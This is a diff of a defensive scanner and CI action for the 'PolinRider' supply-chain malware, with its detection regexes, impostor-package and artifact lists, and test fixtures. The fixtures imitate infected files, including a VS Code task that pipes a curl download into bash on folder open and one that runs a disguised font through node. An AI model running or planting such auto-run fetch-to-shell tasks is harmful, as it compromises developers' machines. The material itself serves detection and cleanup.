|
||||
// glyph data trivially produces long [A-Za-z0-9+/] runs. Both caused false
|
||||
// positives on genuine fonts (e.g. commercial .otf files). Structural validation
|
||||
// in fonts.js is the primary "is this a real font?" signal now; these strings only
|
||||
// corroborate a file that already failed to parse as a font.
|
||||
export const FONT_BADNESS_RES = [
|
||||
/eval\s*\(/,
|
||||
/global\s*\[/,
|
||||
/require\s*\(/,
|
||||
/child_process/,
|
||||
/process\.(?:env|binding)/,
|
||||
/function\s*\(/,
|
||||
/\bnode\b\s+-e\b/,
|
||||
];
|
||||
|
||||
// PolinRider disguises its font carrier under Font-Awesome filenames (the exact
|
||||
// names real Font Awesome ships: fa-brands-400, fa-solid-900, fa-regular-400, …).
|
||||
// Presence of these names is a disguise indicator; content (see fonts.js) decides
|
||||
// whether a given file is an actual payload or just a legitimate Font Awesome font.
|
||||
export const FA_FONT_NAME_RE =
|
||||
/^fa-(?:brands|solid|regular|light|thin|duotone)-\d+\.(?:eot|svg|ttf|otf|woff2?)$/i;
|
||||
|
||||
// Files the malware drops alongside its font carrier that should go with it.
|
||||
export const FONT_DROP_SIDECARS = ["readme.md"];
|
||||
|
||||
// Directories where the font-carrier variant is dropped.
|
||||
export const FONT_DIRS = ["public/fonts", "static", "static/fonts", "assets/fonts", "src/assets/fonts"];
|
||||
|
||||
// File types that can reference a font via @font-face / url(...) / import.
|
||||
export const FONT_REF_EXTENSIONS = [
|
||||
".css",
|
||||
".scss",
|
||||
".sass",
|
||||
".less",
|
||||
".styl",
|
||||
".html",
|
||||
".htm",
|
||||
".vue",
|
||||
".svelte",
|
||||
".js",
|
||||
".jsx",
|
||||
".ts",
|
||||
".tsx",
|
||||
".mjs",
|
||||
".cjs",
|
||||
".json",
|
||||
];
|
||||
|
||||
// ─── package.json impostor dependencies ────────────────────────────────────────
|
||||
|
||||
export const IMPOSTOR_DEPS = [
|
||||
"tailwindcss-style-animate",
|
||||
"tailwind-mainanimation",
|
||||
"tailwind-autoanimation",
|
||||
];
|
||||
|
||||
// Lifecycle scripts that fetch + execute remote code during `npm install`.
|
||||
export const SUSPICIOUS_LIFECYCLE_SCRIPTS = ["preinstall", "install", "postinstall"];
|
||||
|
||||
// ─── Standalone artifacts ───────────────────────────────────────────────────────
|
||||
|
||||
export const ARTIFACT_FILES = [
|
||||
"temp_auto_push.bat",
|
||||
"temp_interactive_push.bat",
|
||||
"config.bat",
|
||||
"branch_structure.json",
|
||||
];
|
||||
|
||||
// Lines PolinRider injects into .gitignore to hide its own artifacts from git.
|
||||
export const GITIGNORE_INJECTED = [
|
||||
"config.bat",
|
||||
"temp_auto_push.bat",
|
||||
"temp_interactive_push.bat",
|
||||
"branch_structure.json",
|
||||
];
|
||||
|
||||
export const ENV_PATTERNS = [
|
||||
".env",
|
||||
".env.local",
|
||||
".env.*.local",
|
||||
".env.production",
|
||||
".env.development",
|
||||
];
|
||||
|
||||
// ─── Helpers (pure) ─────────────────────────────────────────────────────────────
|
||||
|
||||
/** True if `host` matches any known C2 host or family regex. */
|
||||
export function isC2Host(text) {
|
||||
if (typeof text !== "string") return false;
|
||||
if (C2_HOSTS.some((h) => text.includes(h))) return true;
|
||||
return C2_HOST_RES.some((re) => re.test(text));
|
||||
}
|
||||
|
||||
/** True if `text` looks like a remote-fetch-piped-to-interpreter command. */
|
||||
export function isFetchToShell(text) {
|
||||
if (typeof text !== "string") return false;
|
||||
const fetches = NET_FETCH_RES.some((re) => re.test(text)) || ANY_URL_RE.test(text);
|
||||
const pipes = PIPE_SHELL_RES.some((re) => re.test(text));
|
||||
return fetches && pipes;
|
||||
}
|
||||
|
||||
/** True if `text` runs a script interpreter against a font/asset path (e.g. `node ./public/fonts/x.woff2`). */
|
||||
export function commandExecutesAsset(text) {
|
||||
if (typeof text !== "string") return false;
|
||||
return INTERPRETER_RE.test(text) && ASSET_EXEC_RE.test(text);
|
||||
}
|
||||
|
||||
/** True if `basename` matches the Font-Awesome family naming the malware disguises itself as. */
|
||||
export function isFaFamilyName(basename) {
|
||||
return typeof basename === "string" && FA_FONT_NAME_RE.test(basename);
|
||||
}
|
||||
|
||||
/** True if `basename` is a sidecar file the malware drops with its font carrier (e.g. README.md). */
|
||||
export function isFontDropSidecar(basename) {
|
||||
return typeof basename === "string" && FONT_DROP_SIDECARS.includes(basename.toLowerCase());
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
/**
|
||||
* Minimal recursive file walker shared by the scanner and font analysis.
|
||||
*
|
||||
* SAFETY: never follows symlinks — a malicious repo can't use a symlink to
|
||||
* redirect our reads outside the cloned working tree. Reads nothing here; it
|
||||
* only yields paths. Excludes .git and node_modules by default.
|
||||
*/
|
||||
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
|
||||
export const DEFAULT_EXCLUDE = new Set([".git", "node_modules"]);
|
||||
|
||||
/**
|
||||
* Async-generate absolute file paths under `root`.
|
||||
* @param {string} root
|
||||
* @param {{ exclude?: Set<string> }} [opts]
|
||||
*/
|
||||
export async function* walkFiles(root, { exclude = DEFAULT_EXCLUDE } = {}) {
|
||||
let entries;
|
||||
try {
|
||||
entries = await fs.readdir(root, { withFileTypes: true });
|
||||
} catch {
|
||||
return; // unreadable directory → yield nothing
|
||||
}
|
||||
for (const ent of entries) {
|
||||
if (ent.isSymbolicLink()) continue;
|
||||
const full = path.join(root, ent.name);
|
||||
if (ent.isDirectory()) {
|
||||
if (exclude.has(ent.name)) continue;
|
||||
yield* walkFiles(full, { exclude });
|
||||
} else if (ent.isFile()) {
|
||||
yield full;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Collect paths whose extension is in `extensions` (lowercased, with dot). */
|
||||
export async function collectByExtension(root, extensions, opts) {
|
||||
const exts = new Set(extensions.map((e) => e.toLowerCase()));
|
||||
const out = [];
|
||||
for await (const file of walkFiles(root, opts)) {
|
||||
if (exts.has(path.extname(file).toLowerCase())) out.push(file);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
// Probe run in a child process so the safety guards don't pollute the main test
|
||||
// runner. Importing safety.js installs the guards as a side effect. Exits 0 only
|
||||
// if every escape hatch is blocked.
|
||||
import "../src/safety.js";
|
||||
import assert from "node:assert/strict";
|
||||
import { createRequire } from "node:module";
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
|
||||
assert.throws(() => globalThis.eval("1+1"), /disabled|disallow/i, "direct eval not blocked");
|
||||
const indirect = eval;
|
||||
assert.throws(() => indirect("1+1"), "indirect eval not blocked");
|
||||
assert.throws(() => new Function("return 1"), "Function constructor not blocked");
|
||||
assert.throws(() => function () {}.constructor("return 1"), "fn.constructor not blocked");
|
||||
assert.throws(() => require("node:vm"), "require(node:vm) not blocked");
|
||||
assert.throws(() => require("vm"), "require(vm) not blocked");
|
||||
assert.throws(() => process.binding("spawn_sync"), "process.binding not blocked");
|
||||
|
||||
console.log("safety-probe OK");
|
||||
+236
@@ -0,0 +1,236 @@
|
||||
/**
|
||||
* Tests for the GitHub Action frontend (src/ci.js). Exercises input parsing,
|
||||
* exit-code policy, reporting, and the SARIF builder against real fixtures.
|
||||
* The git/gh-dependent paths (fix+commit, pr mode) are validated by the
|
||||
* integration workflow, not here.
|
||||
*/
|
||||
import { test, after, beforeEach } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { run, resolveSettings, failThreshold, buildSummary } from "../src/ci.js";
|
||||
import { buildSarif } from "../src/sarif.js";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import {
|
||||
makeRepo,
|
||||
mkTmpDir,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
INFECTED_TASKS,
|
||||
ORIGINAL_PAYLOAD,
|
||||
GENERIC_PAYLOAD,
|
||||
infectedConfig,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
// Every env key run() / resolveSettings() may read — cleared between tests so
|
||||
// values can't leak across cases.
|
||||
const MANAGED = [
|
||||
"GITHUB_WORKSPACE", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY", "GITHUB_EVENT_NAME",
|
||||
"GITHUB_EVENT_PATH", "GITHUB_REPOSITORY", "GITHUB_REF_NAME",
|
||||
"DRY_RUN", "AUTO_MERGE", "MERGE_METHOD", "BRANCH_PREFIX", "GH_TOKEN", "GITHUB_TOKEN", "SARIF_FILE",
|
||||
];
|
||||
function clearEnv() {
|
||||
for (const k of Object.keys(process.env)) if (k.startsWith("INPUT_")) delete process.env[k];
|
||||
for (const k of MANAGED) delete process.env[k];
|
||||
}
|
||||
beforeEach(clearEnv);
|
||||
after(clearEnv);
|
||||
|
||||
/** Set INPUT_* env from a {name: value} map (GitHub Actions convention). */
|
||||
function setInputs(inputs) {
|
||||
for (const [k, v] of Object.entries(inputs)) {
|
||||
process.env[`INPUT_${k.replace(/ /g, "_").toUpperCase()}`] = String(v);
|
||||
}
|
||||
}
|
||||
|
||||
/** Run the action against a workspace dir; returns { code, outputs, summary }. */
|
||||
async function runAction(workspace, inputs = {}, extraEnv = {}) {
|
||||
const io = mkTmpDir("ci-io-");
|
||||
const outFile = path.join(io, "out");
|
||||
const sumFile = path.join(io, "sum");
|
||||
fs.writeFileSync(outFile, "");
|
||||
fs.writeFileSync(sumFile, "");
|
||||
process.env.GITHUB_WORKSPACE = workspace;
|
||||
process.env.GITHUB_OUTPUT = outFile;
|
||||
process.env.GITHUB_STEP_SUMMARY = sumFile;
|
||||
Object.assign(process.env, extraEnv);
|
||||
setInputs(inputs);
|
||||
|
||||
const code = await run();
|
||||
|
||||
const outputs = Object.fromEntries(
|
||||
fs.readFileSync(outFile, "utf8").split("\n").filter(Boolean).map((l) => {
|
||||
const i = l.indexOf("=");
|
||||
return [l.slice(0, i), l.slice(i + 1)];
|
||||
}),
|
||||
);
|
||||
return { code, outputs, summary: fs.readFileSync(sumFile, "utf8") };
|
||||
}
|
||||
|
||||
const INFECTED_FILES = {
|
||||
"App.js": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
".vscode/tasks.json": INFECTED_TASKS,
|
||||
"config.bat": "",
|
||||
};
|
||||
|
||||
// ─── resolveSettings ───────────────────────────────────────────────────────────
|
||||
|
||||
test("resolveSettings: defaults", () => {
|
||||
const s = resolveSettings();
|
||||
assert.equal(s.mode, "check");
|
||||
assert.equal(s.scanPath, ".");
|
||||
assert.equal(s.failOn, "infected");
|
||||
assert.equal(s.commit, false);
|
||||
assert.equal(s.commentOnPr, true);
|
||||
assert.equal(s.mergeMethod, "squash");
|
||||
assert.equal(s.branchPrefix, "fix/polinrider-cleanup");
|
||||
});
|
||||
|
||||
test("resolveSettings: INPUT_* parsing incl. hyphenated names", () => {
|
||||
setInputs({ mode: "FIX", "fail-on": "Suspicious", commit: "true", "comment-on-pr": "false", "merge-method": "REBASE" });
|
||||
const s = resolveSettings();
|
||||
assert.equal(s.mode, "fix");
|
||||
assert.equal(s.failOn, "suspicious");
|
||||
assert.equal(s.commit, true);
|
||||
assert.equal(s.commentOnPr, false);
|
||||
assert.equal(s.mergeMethod, "rebase");
|
||||
});
|
||||
|
||||
test("resolveSettings: legacy env fallback + INPUT precedence", () => {
|
||||
process.env.DRY_RUN = "true";
|
||||
process.env.AUTO_MERGE = "true";
|
||||
process.env.GH_TOKEN = "legacy-token";
|
||||
let s = resolveSettings();
|
||||
assert.equal(s.dryRun, true);
|
||||
assert.equal(s.autoMerge, true);
|
||||
assert.equal(s.token, "legacy-token");
|
||||
// An explicit input wins over the token env var.
|
||||
setInputs({ token: "input-token" });
|
||||
s = resolveSettings();
|
||||
assert.equal(s.token, "input-token");
|
||||
});
|
||||
|
||||
// ─── failThreshold ─────────────────────────────────────────────────────────────
|
||||
|
||||
test("failThreshold ranks", () => {
|
||||
assert.equal(failThreshold("never"), Infinity);
|
||||
assert.equal(failThreshold("suspicious"), 1);
|
||||
assert.equal(failThreshold("infected"), 2);
|
||||
assert.equal(failThreshold("anything-else"), 2);
|
||||
});
|
||||
|
||||
// ─── check mode exit codes ─────────────────────────────────────────────────────
|
||||
|
||||
test("check: infected → exit 1 + outputs", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs, summary } = await runAction(repo, { mode: "check" });
|
||||
assert.equal(code, 1);
|
||||
assert.equal(outputs.severity, "infected");
|
||||
assert.equal(outputs.infected, "true");
|
||||
assert.equal(outputs["findings-count"], "3");
|
||||
assert.equal(outputs.changed, "false");
|
||||
assert.match(summary, /PolinRider Malware Scan/);
|
||||
assert.match(summary, /infected/);
|
||||
});
|
||||
|
||||
test("check: clean → exit 0", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.js": LEGIT_CONFIG });
|
||||
const { code, outputs } = await runAction(repo, { mode: "check" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.severity, "clean");
|
||||
assert.equal(outputs.infected, "false");
|
||||
});
|
||||
|
||||
test("check: fail-on=never never fails, even when infected", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs } = await runAction(repo, { mode: "check", "fail-on": "never" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.infected, "true");
|
||||
});
|
||||
|
||||
test("check: exclude skips flagged files", async () => {
|
||||
// A vendored copy that legitimately carries a signature would false-positive;
|
||||
// excluding it makes the scan clean, while a real infection elsewhere still fails.
|
||||
const repo = await makeRepo({
|
||||
"vendor/sig-sample.js": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
});
|
||||
const withoutExclude = await runAction(repo, { mode: "check" });
|
||||
assert.equal(withoutExclude.code, 1);
|
||||
assert.equal(withoutExclude.outputs.severity, "infected");
|
||||
|
||||
const withExclude = await runAction(repo, { mode: "check", exclude: "vendor/**" });
|
||||
assert.equal(withExclude.code, 0);
|
||||
assert.equal(withExclude.outputs.severity, "clean");
|
||||
});
|
||||
|
||||
test("check: suspicious repo fails only at fail-on=suspicious", async () => {
|
||||
const repo = await makeRepo({ "weird.js": `export const x = 1;\n${GENERIC_PAYLOAD}` });
|
||||
const def = await runAction(repo, { mode: "check" }); // fail-on=infected
|
||||
assert.equal(def.outputs.severity, "suspicious");
|
||||
assert.equal(def.code, 0);
|
||||
const strict = await runAction(repo, { mode: "check", "fail-on": "suspicious" });
|
||||
assert.equal(strict.code, 1);
|
||||
});
|
||||
|
||||
// ─── fix mode (no commit) ──────────────────────────────────────────────────────
|
||||
|
||||
test("fix: cleans the working tree, exit 0, re-scan clean", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs } = await runAction(repo, { mode: "fix" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.changed, "true");
|
||||
assert.equal(outputs.remediated, "true");
|
||||
// Payload stripped, legit config kept; malware artifacts gone.
|
||||
assert.match(fs.readFileSync(path.join(repo, "App.js"), "utf8"), /tailwindcss/);
|
||||
assert.ok(!fs.existsSync(path.join(repo, ".vscode")));
|
||||
assert.ok(!fs.existsSync(path.join(repo, "config.bat")));
|
||||
const rescan = await scanRepo(repo);
|
||||
assert.equal(rescan.severity, "clean");
|
||||
});
|
||||
|
||||
test("fix: confirmed-but-manual-review item leaves exit 1", async () => {
|
||||
// An impostor dep is content-confirmed but action=manual-review — fix can't
|
||||
// auto-remove it, so the check must still fail. (Note: remediate also runs
|
||||
// .gitignore hygiene, so `changed` may be true; the contract under test is the
|
||||
// exit code and that the impostor dep is NOT silently stripped.)
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwindcss-style-animate": "^1.0.0" } }),
|
||||
});
|
||||
const { code, outputs } = await runAction(repo, { mode: "fix" });
|
||||
assert.equal(outputs.severity, "infected");
|
||||
assert.equal(code, 1); // unresolved confirmed item → fail
|
||||
assert.match(fs.readFileSync(path.join(repo, "package.json"), "utf8"), /tailwindcss-style-animate/);
|
||||
});
|
||||
|
||||
// ─── SARIF ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
test("buildSarif: shape + js-payload line from offset", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const findings = await scanRepo(repo);
|
||||
const sarif = buildSarif(findings, { repoRoot: repo, repoDir: repo });
|
||||
assert.equal(sarif.version, "2.1.0");
|
||||
const driver = sarif.runs[0].tool.driver;
|
||||
assert.equal(driver.name, "polinrider-cleanup");
|
||||
assert.equal(sarif.runs[0].results.length, findings.findings.length);
|
||||
const js = sarif.runs[0].results.find((r) => r.ruleId.startsWith("js.payload"));
|
||||
assert.equal(js.level, "error");
|
||||
assert.equal(js.locations[0].physicalLocation.artifactLocation.uri, "App.js");
|
||||
assert.equal(js.locations[0].physicalLocation.region.startLine, 5);
|
||||
});
|
||||
|
||||
// ─── buildSummary ──────────────────────────────────────────────────────────────
|
||||
|
||||
test("buildSummary: includes remediation section when result present", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const findings = await scanRepo(repo);
|
||||
const md = buildSummary({
|
||||
settings: { mode: "fix", dryRun: false },
|
||||
findings,
|
||||
result: { dryRun: false, applied: [], notes: ["did a thing"], skipped: [], filesModified: [], filesDeleted: [] },
|
||||
});
|
||||
assert.match(md, /### Findings/);
|
||||
assert.match(md, /### Remediation/);
|
||||
assert.match(md, /did a thing/);
|
||||
});
|
||||
@@ -0,0 +1,57 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { buildExcluder } from "../src/exclude.js";
|
||||
|
||||
test("empty patterns → nothing excluded", () => {
|
||||
const ex = buildExcluder("");
|
||||
assert.equal(ex("anything.js"), false);
|
||||
assert.equal(buildExcluder([])("a/b.js"), false);
|
||||
assert.equal(buildExcluder(undefined)("a/b.js"), false);
|
||||
});
|
||||
|
||||
test("exact file match", () => {
|
||||
const ex = buildExcluder(["src/signatures.js"]);
|
||||
assert.equal(ex("src/signatures.js"), true);
|
||||
assert.equal(ex("src/scanner.js"), false);
|
||||
assert.equal(ex("other/src/signatures.js"), false);
|
||||
});
|
||||
|
||||
test("bare directory matches everything under it", () => {
|
||||
const ex = buildExcluder(["dist"]);
|
||||
assert.equal(ex("dist"), true);
|
||||
assert.equal(ex("dist/ci.mjs"), true);
|
||||
assert.equal(ex("dist/nested/x.js"), true);
|
||||
assert.equal(ex("distinct.js"), false); // prefix must be a path boundary
|
||||
});
|
||||
|
||||
test("trailing slash and ** behave like a directory", () => {
|
||||
for (const pat of ["test/", "test/**"]) {
|
||||
const ex = buildExcluder([pat]);
|
||||
assert.equal(ex("test/helpers.js"), true, pat);
|
||||
assert.equal(ex("test/sub/a.js"), true, pat);
|
||||
assert.equal(ex("tests.js"), false, pat);
|
||||
}
|
||||
});
|
||||
|
||||
test("single * stays within a path segment", () => {
|
||||
const ex = buildExcluder(["*.min.js"]);
|
||||
assert.equal(ex("app.min.js"), true);
|
||||
assert.equal(ex("vendor/app.min.js"), false); // * does not cross "/"
|
||||
assert.equal(buildExcluder(["vendor/*.js"])("vendor/a.js"), true);
|
||||
assert.equal(buildExcluder(["vendor/*.js"])("vendor/sub/a.js"), false);
|
||||
});
|
||||
|
||||
test("comma/newline separated string + whitespace", () => {
|
||||
const ex = buildExcluder("src/signatures.js, test/** \n dist/**");
|
||||
assert.equal(ex("src/signatures.js"), true);
|
||||
assert.equal(ex("test/helpers.js"), true);
|
||||
assert.equal(ex("dist/ci.mjs"), true);
|
||||
assert.equal(ex("src/scanner.js"), false);
|
||||
});
|
||||
|
||||
test("** crosses path segments", () => {
|
||||
const ex = buildExcluder(["**/fixtures/**"]);
|
||||
assert.equal(ex("a/b/fixtures/c.js"), true);
|
||||
assert.equal(ex("fixtures/c.js"), false); // leading **/ requires a segment before
|
||||
assert.equal(buildExcluder(["**/fixtures/**", "fixtures/**"])("fixtures/c.js"), true);
|
||||
});
|
||||
@@ -0,0 +1,67 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { readMagic, parseFontStructure, looksSuspicious, collectFontReferences, isReferenced } from "../src/fonts.js";
|
||||
import { makeRepo, goodFont, evilFont, validSfnt, validWoff2, REAL_FONT_STRINGS, cleanupAll } from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
test("readMagic recognizes common font formats", () => {
|
||||
assert.equal(readMagic(Buffer.from("wOF2....")), "woff2");
|
||||
assert.equal(readMagic(Buffer.from("wOFF....")), "woff");
|
||||
assert.equal(readMagic(Buffer.from("OTTO....")), "otf");
|
||||
assert.equal(readMagic(Buffer.from([0x00, 0x01, 0x00, 0x00, 0x00])), "ttf");
|
||||
assert.equal(readMagic(Buffer.from("nope....")), "unknown");
|
||||
});
|
||||
|
||||
test("parseFontStructure accepts a well-formed sfnt and woff2", () => {
|
||||
assert.equal(parseFontStructure(validSfnt()).valid, true);
|
||||
assert.equal(parseFontStructure(validWoff2()).valid, true);
|
||||
});
|
||||
|
||||
test("parseFontStructure rejects unknown magic and malformed headers", () => {
|
||||
assert.equal(parseFontStructure(Buffer.from("global['!']=1;")).valid, false);
|
||||
// wOF2 magic but a declared length that doesn't match the byte length:
|
||||
const badWoff2 = Buffer.concat([Buffer.from("wOF2", "latin1"), Buffer.alloc(256, 0x10)]);
|
||||
assert.equal(parseFontStructure(badWoff2).valid, false);
|
||||
// OTTO magic but a table directory that runs past EOF:
|
||||
const badSfnt = Buffer.alloc(16);
|
||||
badSfnt.write("OTTO", 0, "latin1");
|
||||
badSfnt.writeUInt16BE(50, 4); // 50 tables can't fit in 16 bytes
|
||||
assert.equal(parseFontStructure(badSfnt).valid, false);
|
||||
});
|
||||
|
||||
test("looksSuspicious flags a fake font with a JS payload as a confirmed carrier", () => {
|
||||
const r = looksSuspicious(evilFont(), ".woff2");
|
||||
assert.equal(r.bad, true);
|
||||
assert.equal(r.hasCodeStrings, true);
|
||||
assert.ok(r.reasons.length >= 1);
|
||||
});
|
||||
|
||||
test("looksSuspicious passes a valid, inert font", () => {
|
||||
const r = looksSuspicious(goodFont(), ".woff2");
|
||||
assert.equal(r.bad, false, JSON.stringify(r.reasons));
|
||||
});
|
||||
|
||||
test("looksSuspicious does NOT flag a real font that embeds a license URL + base64-like run", () => {
|
||||
// Regression: a genuine .otf (valid OTTO structure) whose name table holds a
|
||||
// vendor URL, plus binary glyph data that looks base64-ish, must stay clean.
|
||||
const r = looksSuspicious(validSfnt(REAL_FONT_STRINGS), ".otf");
|
||||
assert.equal(r.bad, false, JSON.stringify(r.reasons));
|
||||
assert.equal(r.hasCodeStrings, false);
|
||||
});
|
||||
|
||||
test("looksSuspicious does not flag .eot solely for missing magic", () => {
|
||||
const eot = Buffer.alloc(64, 0x00); // no recognizable magic, but inert
|
||||
assert.equal(looksSuspicious(eot, ".eot").bad, false);
|
||||
});
|
||||
|
||||
test("collectFontReferences + isReferenced detect a referenced font", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/styles.css": `@font-face{font-family:Inter;src:url('/fonts/inter.woff2') format('woff2');}`,
|
||||
"public/fonts/orphan.woff2": goodFont(),
|
||||
});
|
||||
const hay = await collectFontReferences(repo);
|
||||
assert.equal(isReferenced(hay, "public/fonts/inter.woff2"), true);
|
||||
assert.equal(isReferenced(hay, "public/fonts/orphan.woff2"), false);
|
||||
});
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
/**
|
||||
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
|
||||
* payload/font fixtures derived from the real signatures.
|
||||
*/
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import fs from "node:fs";
|
||||
import fsp from "node:fs/promises";
|
||||
|
||||
const created = [];
|
||||
|
||||
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
|
||||
export function mkTmpDir(prefix = "polin-test-") {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
created.push(dir);
|
||||
return dir;
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a map of { relativePath: string | Buffer } into `dir`.
|
||||
* @returns {Promise<string>} dir
|
||||
*/
|
||||
export async function writeFiles(dir, files) {
|
||||
for (const [rel, content] of Object.entries(files)) {
|
||||
const full = path.join(dir, rel);
|
||||
await fsp.mkdir(path.dirname(full), { recursive: true });
|
||||
await fsp.writeFile(full, content);
|
||||
}
|
||||
return dir;
|
||||
}
|
||||
|
||||
/** Build a repo in a fresh temp dir from a file map. */
|
||||
export async function makeRepo(files) {
|
||||
return writeFiles(mkTmpDir(), files);
|
||||
}
|
||||
|
||||
export function cleanupAll() {
|
||||
for (const d of created.splice(0)) {
|
||||
try {
|
||||
fs.rmSync(d, { recursive: true, force: true });
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
|
||||
|
||||
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
|
||||
|
||||
export const ORIGINAL_PAYLOAD =
|
||||
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
|
||||
`eval(String.fromCharCode(49,43,49));\n`;
|
||||
|
||||
export const ROTATED_PAYLOAD =
|
||||
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
|
||||
`eval(String.fromCharCode(49,43,49));\n`;
|
||||
|
||||
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
|
||||
export const GENERIC_PAYLOAD =
|
||||
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
|
||||
|
||||
export function infectedConfig(payload) {
|
||||
return LEGIT_CONFIG + "\n" + payload;
|
||||
}
|
||||
|
||||
// ─── Font fixtures ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Structurally valid WOFF2: correct magic, a declared length that matches the
|
||||
* actual byte length, and a non-zero table count. Inert padding.
|
||||
*/
|
||||
export function validWoff2(size = 64) {
|
||||
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
|
||||
buf.write("wOF2", 0, "latin1");
|
||||
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
|
||||
buf.writeUInt32BE(buf.length, 8); // total length == file size
|
||||
buf.writeUInt16BE(4, 12); // numTables (non-zero)
|
||||
return buf;
|
||||
}
|
||||
|
||||
/**
|
||||
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
|
||||
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
|
||||
* contains a license URL and a long base64-looking run — the exact bytes that
|
||||
* previously produced false positives on real commercial fonts.
|
||||
*/
|
||||
export function validSfnt(extra = "") {
|
||||
const numTables = 1;
|
||||
const dirEnd = 12 + numTables * 16;
|
||||
const body = Buffer.from(extra, "latin1");
|
||||
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
|
||||
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
|
||||
buf.writeUInt16BE(numTables, 4);
|
||||
buf.write("CFF ", 12, "latin1"); // table tag
|
||||
buf.writeUInt32BE(0, 16); // checksum
|
||||
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
|
||||
buf.writeUInt32BE(body.length, 24); // table length
|
||||
body.copy(buf, dirEnd);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
|
||||
export const REAL_FONT_STRINGS =
|
||||
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
|
||||
|
||||
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
|
||||
export function goodFont() {
|
||||
return validWoff2(256);
|
||||
}
|
||||
|
||||
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
|
||||
export function evilFont() {
|
||||
return Buffer.from(
|
||||
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
|
||||
"latin1",
|
||||
);
|
||||
}
|
||||
|
||||
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
|
||||
|
||||
export const LEGIT_TASKS = `{
|
||||
// Build tasks
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build", "type": "shell", "command": "npm run build" },
|
||||
{ "label": "test", "type": "npm", "script": "test" },
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
export const INFECTED_TASKS = `{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build", "type": "shell", "command": "npm run build" },
|
||||
{
|
||||
"label": "[auto]",
|
||||
"type": "shell",
|
||||
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
|
||||
"runOptions": { "runOn": "folderOpen" }
|
||||
}
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
export const LEGIT_LAUNCH = `{
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
|
||||
// through node (no curl/URL — the old fetch-to-shell detector missed this).
|
||||
export const INFECTED_TASKS_NODE = `{
|
||||
"version": "2.0.0",
|
||||
"configurations": [
|
||||
{ "type": "node", "request": "launch", "name": "Run My Project" }
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"label": "eslint-check",
|
||||
"type": "shell",
|
||||
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
|
||||
"isBackground": true,
|
||||
"runOptions": { "runOn": "folderOpen" }
|
||||
}
|
